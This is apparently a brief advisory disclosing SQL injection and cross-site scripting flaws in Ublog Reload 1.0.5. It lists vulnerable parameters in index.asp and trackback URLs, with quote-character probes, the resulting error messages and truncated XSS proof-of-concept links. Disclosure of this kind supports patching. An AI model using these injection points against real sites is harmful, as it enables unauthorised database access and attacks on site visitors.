Multiple Sql Injection In Ublog Reload 1.0.5

Vulnerabilitie:
~~~~~~~~~~~~~~~~

A. SQL Injection

* http://victim/UblogR...d/index.asp?ci=[SQL INJECT][id]&s=category

ex :
http://victim/UblogReload/index.asp?ci='62&s=category

Error :
Microsoft VBScript runtime error '800a000d' 
Type mismatch: 'cint' 

/UblogReload/index.asp, line 41


* http://victim/UblogReload/index.asp?d=[id][SQL Inject]&m=[mouth]&y=[year]&s=day

ex :
http://victim/UblogR...=6&y=2005&s=day

Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'Day(data) = 11' AND Month(data) = 6 AND Year(data) = 2005 ORDER BY data DESC;'. 

/UblogReload/index.asp, line 101


* http://victim/UblogR...sp?bi=71&m=6&y=[year][SQL Inject]&d=&s=category

Ex :
http://victim/UblogR...;&d=&s=category

Error :

Microsoft VBScript runtime error '800a000d' 

Type mismatch: 'iThisYear' 

/UblogReload/include/calendar.asp, line 7

* http://victim/UblogReload/index.asp?m=[mount][SQL Inject]&y=[year]&s=month

Ex :
http://victim/UblogReload/index.asp?m=6'&y=2005&s=month
Error :

Microsoft VBScript runtime error '800a000d' 
Type mismatch: 'cint' 
/UblogReload/include/functions_format_datetime.asp, line 26

* http://victim/UblogR...d/index.asp?ui=[user ID][SQL Inject]&s=bloggers

And XSS 
POC :
http://victim/UblogR...ackback.asp?bi=[id]&btitle=[XSS]&mode=view
http://victim/UblogR......t>&mode=view